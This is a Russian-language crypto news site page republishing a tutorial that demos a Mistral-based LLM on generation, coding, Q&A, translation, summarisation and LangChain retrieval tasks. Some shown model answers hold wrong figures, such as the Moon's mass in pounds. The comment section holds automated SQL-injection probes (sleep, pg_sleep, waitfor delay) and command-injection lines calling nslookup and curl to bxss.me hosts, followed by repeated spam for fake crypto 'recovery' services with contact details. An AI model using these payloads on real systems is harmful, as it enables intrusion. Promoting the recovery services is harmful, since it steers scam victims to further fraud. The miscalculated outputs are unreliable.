Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9430 / Markets: 114739
Market Cap: $ 3 703 213 290 023 / 24h Vol: $ 155 950 369 045 / BTC Dominance: 59.264285433795%

Н Новости

  1. Главная
  2. Новости

Большие языковые модели (LLM) в задачах

9157a23aebde05eb4b3f22dd659fc56e.png

В этой статье на практических примерах рассмотрим какие задачи из коробки могут решать современные большие языковые модели (large language models, LLM).

Но сначала немного теории...

Что такое LLM?

Большая языковая модель — это тип модели глубокого обучения, которая понимает и генерирует текст на человеческом языке. Эти модели обучаются на огромных объемах текстовых данных (книги, статьи, сайты и др. источники) и содержат в себе большое число параметров.

Параметры — это переменные, присутствующие в модели, и которые изменяются в процессе обучения. Считается, что языковая модель является большой если содержит больше одного миллиарда параметров. Именно благодаря большому числу параметров LLM и способны распознавать, переводить, прогнозировать или генерировать текст или другой контент.

Обычно на вход таким моделям подается одно или несколько предложений. По которым модель пытается понять, что от нее хотят и генерирует ответ.

Под капотом у современных LLM‑моделей используется архитектура трансформер.

Подопытный кролик

Теперь надо определится с инструментом, с помощью которого будем проводить эксперименты. Согласно лидерборду RussianSuperGLUE лучшая на текущий момент модель для работы с русским текстом — Mistral 7B LoRA. Ее и будем использовать для экспериментов.

ef488422f1b641eb6ada2bf2e4eb01fe.png

Mistral 7B LoRA это SOTA на общих тестах. Возможно для каких-то ваших специфических задач окажутся более подходящими другие модели.

Mistral 7B LoRA это модель дообученная (на русских текстах) методом LoRA на основе LLM Mistral. Чтобы задействовать ее нам понадобится следующие библиотеки:

pip install transformers accelerate peft

Чтобы отправить запрос в Mistral 7B LoRA необходимо выполнить такой код:

import torch
from peft import PeftModel, PeftConfig
from transformers import AutoModelForCausalLM, AutoTokenizer, GenerationConfig

MODEL_NAME = "IlyaGusev/saiga_mistral_7b"

# Загружаем модель
config = PeftConfig.from_pretrained(MODEL_NAME)
model = AutoModelForCausalLM.from_pretrained(
	config.base_model_name_or_path,
	torch_dtype=torch.float16,
	device_map="auto"
)
model = PeftModel.from_pretrained(
	model,
	MODEL_NAME,
	torch_dtype=torch.float16
)
model.eval()

# Определяем токенайзер
tokenizer = AutoTokenizer.from_pretrained(MODEL_NAME, use_fast=False)
generation_config = GenerationConfig.from_pretrained(MODEL_NAME)

# Функция для обработки запросов
def generate(model, tokenizer, prompt, generation_config):
	data = tokenizer(prompt, return_tensors="pt", add_special_tokens=False)
	data = {k: v.to(model.device) for k, v in data.items()}
	output_ids = model.generate(
    	**data,
    	generation_config=generation_config
	)[0]
	output_ids = output_ids[len(data["input_ids"][0]):]
	output = tokenizer.decode(output_ids, skip_special_tokens=True)
	return output.strip()

# Формируем запрос
PROMT_TEMPLATE = '<s>system\nТы — Сайга, русскоязычный автоматический ассистент. Ты разговариваешь с людьми и помогаешь им.</s><s>user\n{inp}</s><s>bot\n'
inp = 'Какое расстояние до Луны?'
prompt = prompt_template.format(inp=inp)

# Отправляем запрос в llm
output = generate(model, tokenizer, prompt, generation_config)

print(output)

Что здесь происходит подробно расписывать не буду (статья не об этом). Все что нужно знать: чтобы поменять запрос к LLM — нужно изменить переменную inp.

Задачи

А теперь рассмотрим различные задачи, которые могут выполнять LLM.

Почти все приведенные здесь задачи LLM умеет выполнять из коробки. Без хардкорного дообучения. Для этого достаточно правильно сформулировать запрос. Причем чем «точнее» вы сформулируете запрос тем качественнее получите результат.

Генеративные задачи

Генерация текста

Самый простой и очевидный вариант использования. Можно попросить модель сгенерировать текст на любую тему: сочинить стихи, написать песню, рассказ или маркетинговый материал и многое другое.

Пример запроса:

Напиши короткий рассказ как я провел лето в деревне. В стиле Гарри Поттера.

Ответ:

Лето в деревне было невероятно интересным и захватывающим. Мы жили в старинном доме, который напоминал о древних времен магии. Каждый день мы проводили в разных местах деревни, исследуя тайные уголки и открывая новые секреты.

Однажды мы нашли старый заброшенный сад, полный странных растений и цветов. Некоторые из них были похожи на те, что мы видели в книгах о Гарри Поттере. Мы решили, что это могут быть магические растения, которые могут помочь нам найти новые способы использования магии.

В другой день мы обнаружили старый замок, который был запущен и заросший деревьями. Мы решили, что это может быть место, где когда‑то жили маги. Мы начали исследовать его, и нашли множество старых книг, записанных на языке магов.

Мы также нашли старый магический календарь, который помог нам понять, что лето — это время, когда магия становится особенно сильной. Мы решили, что это идеальное время для того, чтобы освоить новые заклинания и чары.

Каждый вечер мы собирались вместе и делились своими открытиями и знаниями. Мы научились создавать новые заклинания и чары, которые помогали нам в повседневной жизни. Например, мы научились создавать светильники из лучей солнца, которые помогали нам находить свой путь в темноте.

Когда лето закончилось, мы понимали, что наше лето в деревне было незабываемым и полным приключений. Мы вернулись домой, но с собой взяли много новых знаний и опыта, которые помогли нам стать более сильными и уверенными в себе.

И вот так, благодаря лету в деревне, мы стали магическими учениками, готовыми к новым приключениям и открытиям.

Чем больше контекста и больше деталей вы укажите в запросе, тем качественнее получите результат. Например, в этом запросе мы попросили сгенерировать текст в стиле Гарри Поттера.

Написание кода

Вариация предыдущего пункта. Но настолько более важная/полезная, что под нее обучают отдельные LLM и создают целые сервисы (например, https://github.com/features/copilot). Но писать код умеют и LLM общего назначения.

Пример запроса:

Напиши функцию Python для сортировки списка методом пузырьков.

Ответ:

Вот функция сортировки списка методом пузырька на языке Python:

def bubble_sort(input_list):
    # проверяем длину списка
    if len(input_list) <= 1:
        return input_list

    # перебираем все элементы списка
    for i in range(len(input_list)):
    # перебираем все элементы списка, начиная с текущего индекса
        for j in range(len(input_list) - i - 1):
            # если следующий элемент больше текущего, меняем их местами
            if input_list[j] > input_list[j + 1]:
                temp = input_list[j]
                input_list[j] = input_list[j + 1]
                input_list[j + 1] = temp
    return input_list

Эта функция принимает список в качестве аргумента и возвращает отсортированный список.

Код может быть сгенерирован на разнообразных языках. Например, можно попросить написать SQL запрос и т.д. А чтобы улучшить запрос, укажите, что должна принимать функция, в каком виде формате и что должна возвращать и т.д.

Вопрос-ответ

Надоели гугл и яндекс? Спросите LLM :)

Пример запроса:

Сколько весит Луна?

Ответ:

Луна имеет средний диаметр около 3476 км (2159 миль) и массу около 7.34 × 10^22 кг (1.429 × 10^23 lb). Её гравитационное притяжение на поверхности Земли составляет примерно 1/6 от земного.

Вопрос, конечно же, можно задавать только на какие-то общие темы, которые модель видела во время обучения. Спрашивать ее про приватные данные вашей организации конечно же бесполезно (для этого нужно дообучать модель).

Чат (беседа)

Предыдущий вариант был обособленным. Т.е. каждый вопрос-ответ с т.з. модели существует сам по себе. Но с LLM можно вести осмысленный диалог (до определенной степени). Технически реализация диалога заключается в передаче всей предыдущей цепочки обсуждения вместе с новым сообщением. Шаблон в котором лучше всего подавать такую цепочку может отличатся для разных LLM.

Для Mistral 7B LoRA предложен такой шаблон:

<s>system\nТы — Сайга, русскоязычный автоматический ассистент. Ты разговариваешь с людьми и помогаешь им.</s>
<s>user\n{вопрос_1}</s>
<s>bot\n{ответ_1}</s>
<s>user\n{вопрос_2}</s>
<s>bot\n{ответ_2}</s>
<s>user\n{новый_вопрос}</s>
<s>bot\n

Если с каждый запросом передавать предыдущую историю общения по такому шаблону, то можно получить примерно такой диалог:

Запрос:

Сколько весит луна?

Ответ:

Луна имеет средний диаметр около 3476 км (2159 миль) и массу около 7.34 × 10^22 кг (1.429 × 10^22 lb). Это примерно в 81-м раз меньше массы Земли.

Запрос:

А Марс?

Ответ:

Марс имеет средний диаметр около 6772 км (4212 миль) и массу около 6.39 × 10^23 кг (1.431 × 10^23 lb). Это примерно в 1/10 массы Земли.

Запрос:

А в фунтах?

Ответ:

Если вы хотите знать массу Луны или Марса в фунтах, то можно использовать следующие преобразования:

1 фунт = 0.453592 килограмма

Масса Луны = 7.34 × 10^22 кг = 7.34 × 10^22 × 0.453592 фунта = 3.30 × 10^23 фунтов

Масса Марса = 6.39 × 10^23 кг = 6.39 × 10^23 × 0.453592 фунта = 2.89 × 10^24 фунтов

Таким образом, масса Луны составляет около 3.30 × 10^23 фунта, а масса Марса составляет около 2.89 × 10^24 фунта.

З.Ы. В карточке модели Mistral 7B LoRA предложен отличный класс для управления цепочкой вопрос-ответ.

Аналитические задачи

Решение академических задач

Создатели LLM не забывают и о школьниках :) LLM может решать и математические (и не только) задачи. Правда точность вычислений иногда оставляет желать лучшего. Поэтому ответ нужно перепроверять.

Пример запроса:

Из автобуса на остановке вышло 6 пассажиров, а вошло 11. На следующей остановке вышло 8, вошло 9. Сколько пассажиров стало в автобусе, если вначале в автобусе было 24 пассажира?

Ответ:

В начале в автобусе было 24 пассажира. Затем вышли 6 пассажиров и вошли 11 пассажиров, поэтому их количество увеличилось на 5 (11 - 6 = 5).

На следующей остановке вышли 8 пассажиров и вошли 9 пассажиров, поэтому их количество увеличено на 1 (9 - 8 = 1).

В итоге, количество пассажиров в автобусе стало равным 24 + 5 + 1 = 30.

Классификация

LLM могут и в классическое машинное обучение :)

Пример запроса:

Отзыв: "Я ненавижу этот фильм!"
Какой это отзыв (положительный или отрицательный)?

Ответ:

Это отрицательный отзыв.

Обработка текста

Перепиши текст

Скомуниздили текст с просторов интернета и не знаете как безопасно вставить его в диплом? LLM вам поможет :)

Пример запроса:

Перепиши текст своими словами.

###
Предметом эконометрики являются количественные закономерности между экономическими явлениями. Однако, в отличие от экономической теории, эконометрика делает упор на количественные, а не на качественные аспекты этих явлений. Например, известно, что спрос на товар с ростом его цены падает. Однако, как быстро и по какому закону это происходит, в экономической теории не определяется. Это в каждом конкретном случае делает эконометрика. С другой стороны, математическая экономика строит и анализирует модели экономических процессов без использования реальных числовых значений. Эконометрика же изучает модели на базе эмпирических данных. Наконец, в эконометрике широко используется аппарат математической статистики, особенно при установлении связей между экономическими показателями. В то же время в экономике невозможно проведение управляемого эксперимента, и эконометристы используют свои собственные приемы анализа, которые в математической статистике не встречаются.
###

Ответ:

Эконометрика - это наука, которая изучает количественные закономерности между экономическими событиями. Она отличается от экономической теории тем, что она фокусируется на количественных, а не качественных аспектах этих событий. Например, если цена на товар растет, то спрос на этот товар обычно падает. Однако, сколько и как быстро это происходит, в экономической теории не описывается. Эконометрика же занимается изучением таких вопросов на основе реальных данных.

Математическая экономика, напротив, создает и анализирует модели экономических процессу без использования реальных чисел. Эконометрика же работает с реальными данными.

Кроме того, эконометрика активно использует методы математической статистики, особенно для исследования связей между экономическими показателями. В экономике невозможно провести контролируемый эксперимент, поэтому эконометристы используют свои собственные методы анализа, которые не встречаются в математической статистике.

Обратите внимание, что мы тут текст, над которым надо производить манипуляции, заключили в специальные символы. Модель так лучше понимает, с чем конкретно ей нужно работать.

Перевод

Современные LLM обучаются на множестве языков, поэтому могут и в перевод.

Пример запроса:

Переведи на русский.

###
The National Association for Stock Car Auto Racing, LLC (NASCAR) is an American auto racing sanctioning and operating company that is best known for stock car racing.[1] It is considered to be one of the top ranked motorsports organizations in the world, and is one of the largest spectator sports in America. The privately owned company was founded by Bill France Sr. in 1948,[2] and his son, Jim France, has been the CEO since August 2018.[3] The company is headquartered in Daytona Beach, Florida.[4] Each year, NASCAR sanctions over 1,500 races at over 100 tracks in 48 US states as well as in Canada, Mexico, Brazil and Europe.
###

Ответ:

Американская компания по проведению автомобильных гонок NASCAR (National Association for Stock Car Auto Racing, LLC) является одним из ведущих мировых моторных спортивных организаций и одним из самых популярных видов зрительских мероприятий в США. Она была основана Биллом Франсом-старшим в 1948 году и с тех пор стала известной прежде всего благодаря гонкам на автомобилях типа "stock car". В настоящее время компания возглавляется сыном основателя, Джимом Франсом, который занимает должность генерального директора с августа 2018 года. Головной офис NASCAR расположен в городе Дайтон-Бич, штат Флорида. Каждый год NASCAR проводит более 1500 гонок на более чем 100 трассах в 48 штатах США, а также в Канаде, Мексике, Бразилии и Европе.

Чтобы улучшить запрос укажите исходный и целевой язык перевода. Также можете указать, в каком тоне должен быть перевод, или укажите какой-то жаргон и т.д.

Суммаризация

Можно сократить исходный текст до каких-то удобоваримых размеров.

Пример запроса:

Сократи текст до одного предложения.

###
Вопрос, был ли тирекс охотником или падальщиком, до сих пор не решён. Но набор прогрессивных черт тираннозавра всё больше склоняет палеонтологов к охотничьему образу жизни. Рекс – обладатель хорошо развитого бинокулярного зрения. Бинокулярное зрение – способность фокусироваться на объекте обоими глазами, что даёт более точную оценку расстояния. Такое зрение более свойственно активным охотникам, нежели падальщикам. Отдел мозга тираннозавра, отвечающий за обоняние, также хорошо развит. Можно сослаться, что это свойственно падальщикам, но хорошее обоняние есть у всех плотоядных: как любителей падали, так и превосходных охотников. Также, тираннозавр — обладатель укреплённой челюсти и глубоко посаженных зубов. Что примечательно, челюсть имеет дополнительную подвижность, относительно других тиранозаврид, что обеспечивает повышенную устойчивость при боковых нагрузках. Такая адаптация тоже больше подходит охотнику на крупных животных, нежели падальщику, чья еда не сопротивляется и не может повредить челюсть. Челюсти и зубы тираннозавра будто специально созданы для удержания сопротивляющейся многотонной жертвы. Тираннозавр со своим весом, конечно же, не мог бегать за жертвой, что подтверждают свежие исследования, но выслеживать был вполне в состоянии. Правда тираннозавру и незачем было бегать: его основной рацион – медленные трицератопсы и гадрозавры с углом разворота как у поезда. Об этом свидетельствуют прижизненные следы укусов гигантских челюстей на воротниках и хвостах жертв.
###

Ответ:

Тираннозавр обладает хорошим бинокулярным зрением, хорошо развитым обонянием и укреплённой челюстью, что говорит о том, что он был активным охотником.

Поиск информации

LLM могут производить поиск и по каким-то приватным источникам.

Пример запроса:

Найди в тексте, из чего состоит система экранных представлений?

###
Система экранных представлений AutoCAD MEP управляет тем, как выглядят объекты в видовом экране. Задавая подлежащие отображению объекты и направление, в котором их нужно рассматривать, можно вывести на экран различные отображения, такие как планы, 3D модели, схемы стояков в изометрии и принципиальные схемы. Установка стандартных экранных представлений позволяет сохранить согласованность нескольких чертежей. Система экранных представлений AutoCAD MEP состоит из трех основных компонентов:
- Экранные представления на стр. 228 для управления способом отображения отдельных объектов
- Наборы экранных представлений на стр. 231 для группирования экранных представлений объектов
- Конфигурации экранных представлений на стр. 232 для связывания наборов экранных представлений и направлений взгляда
Эти компоненты имеют иерархическую природу. Каждая конфигурация экранных представлений содержит наборы экранных представлений, а каждый набор экранных представлений содержит экранные представления. Сочетание этих компонентов создает систему экранных представлений:
###

Ответ:

В тесте указано, что система экранных представлений AutoCAD MEP содержит три основных компонента:
- Экранные представления
- Наборы экранных представлений
- Конфигурации экранных представлений

Это наверное не самый полезный пример. Будет больше пользы от поиска по какой-либо базе данных или какому-нибудь документу. Для этого нужно строить хитрые пайплайны. А чтобы этого не делать ручками можно воспользоваться готовыми библиотеками. Например, LangChain или LlamaIndex.

Для LangChain код будет выглядеть примерно так:

from langchain.schema import StrOutputParser
from langchain.schema.runnable import RunnablePassthrough
from langchain.text_splitter import RecursiveCharacterTextSplitter
from langchain.vectorstores import Chroma
from langchain.document_loaders import Docx2txtLoader
from langchain.embeddings import HuggingFaceEmbeddings
from langchain.prompts import PromptTemplate
from langchain.llms import HuggingFaceHub

# Загружаем документ
loader = Docx2txtLoader('user_guide.docx')
docs = loader.load()

# Разбиваем документ на части
text_splitter = RecursiveCharacterTextSplitter(chunk_size=1000, chunk_overlap=200)
splits = text_splitter.split_documents(docs)

# Переводим части документа в эмбединги и помещаем в хранилище
embedding = HuggingFaceEmbeddings(
	model_name='sentence-transformers/distiluse-base-multilingual-cased',
	model_kwargs={'device':'cuda:0'},
	encode_kwargs={'normalize_embeddings': False}
)
vectorstore = Chroma.from_documents(documents=splits, embedding=embedding)
retriever = vectorstore.as_retriever()

# Подгружаем LLM с HF
llm = HuggingFaceHub(repo_id='lmsys/vicuna-13b-v1.5-16k')

# Формируем шаблон запроса к llm
template = """Используй следующие фрагменты контекста, чтобы в конце ответить на вопрос.
Если ты не нашел ответа, просто скажи, что не знаешь ответа. Не пытайся выдумывать ответ.
Используй максимум три предложения и старайся отвечать максимально кратко.
{context}
Вопрос: {question}
Полезный ответ: """
prompt = PromptTemplate.from_template(template)

def format_docs(docs):
	return "\n\n".join(doc.page_content for doc in docs)

# Формируем конвеер
rag_chain = (
	{"context": retriever | format_docs, "question": RunnablePassthrough()}
	| prompt
	| llm
	| StrOutputParser()
)

# Задаем вопрос по документу
out = rag_chain.invoke("Какое назначение у ЛИС?")

print(out)

Здесь мы искали ответ в вордовском файле, но список поддерживаемых источников гораздо шире: это могут и ваши базы данных, и PDF файлы и даже веб-страницы, оперативно подгружаемые из интернета.

Извлечение структурированной информации

Частный случай предыдущего варианта. Информацию можно не просто искать, но и сразу отображать в каком-то структурированном виде. Например, таким образом можно обработать объявления с авито, чтобы вытащить полезную информацию.

Пример запроса:

Извлеки из объявления площадь участка и его стоимость.

Формат вывода:
###
Площадь: 10 соток
Стоимость: 10 000 рублей
###

Объявление:
|###
Земельный участок площадью 955 кв.м., расположен в районе Седанки: г. Владивосток, в районе ул. Скатная, д. 40д. Участок обладает отличной транспортной доступностью и инвестиционной привлекательностью. В непосредственной близости находится торговый центр "Седанка Сити". Преимуществом такого расположения является экологически чистый район и минимальное удаление от города Владивостока. В 5-ти минутах езды остановка "Дом ветеранов". 10 минут езды до "Владивостокской международной средней общеобразовательной школы", детского сада "Василёк", "Маленький волшебник", "Вершина Монтессори". В 10-ти минутах езды "Станция Седанка". Земельный участок находится в границах населенного пункта (город Владивосток), что позволяет возводить объект капитального строительства (индивидуальный жилой дом с возможностью прописки). Участок не затапливаемый. Полный пакет документов. Имеется возможность изменения адреса земельного участка. Отсутствуют агентские и иные платежи. Земельный участок предоставлен в аренду сроком на 20 лет. Сумма арендной платы за полный год составляет 4.500 руб. При переуступке права аренды, стоимость арендных платежей не изменяется. Стоимость выкупа земельного участка в собственность - 5% от кадастровой стоимости = 75.208 руб. Плата за договор переуступки права аренды и иные документы отсутствует.
###

Ответ:

Площадь: 955 кв.м.
Стоимость: 75 208 рублей

Вместо заключения

Это далеко не полный перечень задач, которые можно решать с помощью LLM. Можно придумать еще много чего интересного. Конечно ответы которые дает LLM не всегда идеальны и порой их нужно подправлять. Также можно экспериментировать с запросом, меняя его формулировку, чтобы добиться нужного качества

Еще больше можно добиться от LLM дообучив ее. Но это уже совсем другая статья… не переключайтесь :)

З.Ы. Если есть интересные практические примеры использования LLM — пишите их в комментариях :)

---------------------

Мой телеграм-канал

Источник

Теги

ICO

Категория

Новости

Дата

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

